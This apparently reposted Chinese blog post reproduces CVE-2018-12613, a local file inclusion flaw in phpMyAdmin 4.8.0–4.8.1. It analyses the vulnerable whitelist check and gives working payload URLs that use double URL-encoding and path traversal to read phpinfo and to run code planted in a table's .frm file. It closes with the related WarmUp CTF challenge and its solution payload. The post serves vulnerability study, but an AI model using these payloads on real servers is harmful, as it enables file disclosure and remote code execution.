欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页

CVE-2018-12613复现

程序员文章站 2022-07-15 15:55:55
...

0x00 漏洞描述

​ 攻击者利用发现在服务器上包含(查看和潜在执行)文件的漏洞。该漏洞来自一部分代码,其中页面在phpMyAdmin中被重定向和加载,以及对白名单页面进行不正确的测试。 攻击者必须经过身份验证,但在这些情况下除外:

  • $ cfg [‘AllowArbitraryServer’] = true:攻击者可以指定他/她已经控制的任何主机,并在phpMyAdmin上执行任意代码;
  • $ cfg [‘ServerDefault’] = 0:这会绕过登录并在没有任何身份验证的情况下运行易受攻击的代码。

0x01 漏洞影响范围

​ phpMyAdmin 4.8.0和4.8.1

0x02 漏洞复现环境

phpstudy+phpmyadmin4.8.1

CVE-2018-12613复现

0x03 漏洞分析

  • 漏洞问题出在index.php的第55行开始位置:

    1.target参数没有过滤,并且直接include,很显然是LFI的前奏

    2.第57行限制 target 参数不能以index开头

    3.第58行限制 target 参数不能出现在 $target_blacklist 内

    if (! empty($_REQUEST['target'])
        && is_string($_REQUEST['target'])
        && ! preg_match('/^index/', $_REQUEST['target'])
        && ! in_array($_REQUEST['target'], $target_blacklist)
        && Core::checkPageValidity($_REQUEST['target'])
    ) {
        include $_REQUEST['target'];
        exit;
    }
    
  • $target_blacklist 的定义:

    在 /index.php 的第50行,只要 target 参数不是import.php 或 export.php 就行

    $target_blacklist = array (
        'import.php', 'export.php'
    );
    
  • 最后一个限制方法

    phpMyAdmin/libraries/classes/core.php

    找到Core类的checkPageValidity方法

        public static function checkPageValidity(&$page, array $whitelist = [])
        {
            if (empty($whitelist)) {
                $whitelist = self::$goto_whitelist;
            }
            if (! isset($page) || !is_string($page)) {
                return false;
            }
    
            if (in_array($page, $whitelist)) {
                return true;
            }
    
            $_page = mb_substr(
                $page,
                0,
                mb_strpos($page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }
    
            $_page = urldecode($page);
            $_page = mb_substr(
                $_page,
                0,
                mb_strpos($_page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }
    
            return false;
        }
    

    问题出现在第 465 行的urldecode() 我们可以利用这个函数绕过白名单检测,只要把 ? 两次url编码为 %253f 即可绕过验证。

0x04 漏洞利用

  • 读取phpinfo

    payload:http://192.168.115.130/phpmyadmin/index.php?target=db_sql.php%253f/…/…/…/…/…/…/phpStudy/WWW/phpinfo.php

CVE-2018-12613复现

即可读取到phpinfo的内容

  • 写入shell

    新建数据库,新建数据表test,在数据表里面添加一句话

CVE-2018-12613复现
此时会在phpStudy/MySQL/data对应数据库下生成一个frm文件

CVE-2018-12613复现

访问http://192.168.115.130/phpmyadmin/index.php?0xdawn=phpinfo();&target=db_sql.php%253f/…/…/…/…/…/…/phpStudy/MySQL/data/0xdawn/test.frm

0x05 相关CTF赛题

buuoj.cn web部分 WarmUp

 <?php
    highlight_file(__FILE__);
    class emmm
    {
        public static function checkFile(&$page)
        {
            $whitelist = ["source"=>"source.php","hint"=>"hint.php"];
            if (! isset($page) || !is_string($page)) {
                echo "you can't see it";
                return false;
            }

            if (in_array($page, $whitelist)) {
                return true;
            }

            $_page = mb_substr(
                $page,
                0,
                mb_strpos($page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }

            $_page = urldecode($page);
            $_page = mb_substr(
                $_page,
                0,
                mb_strpos($_page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }
            echo "you can't see it";
            return false;
        }
    }

    if (! empty($_REQUEST['file'])
        && is_string($_REQUEST['file'])
        && emmm::checkFile($_REQUEST['file'])
    ) {
        include $_REQUEST['file'];
        exit;
    } else {
        echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
    }  
?> 

function checkFile():

  • 变量未声明、非字符串:return false
  • $page未在白名单中:return false
  • 以’?'为分割符取出前面字符后得到$_page
  • $_page未在白名单中:return false
  • url解码后,重复以上3、4步操作

最后如果request得到的file值非空、是字符串且通过了checkFile,则包含file

因为服务器会自动url解码一次,这里用二次编码

payload:source.php?file=hint.php%253f../../../../../../../ffffllllaaaagggg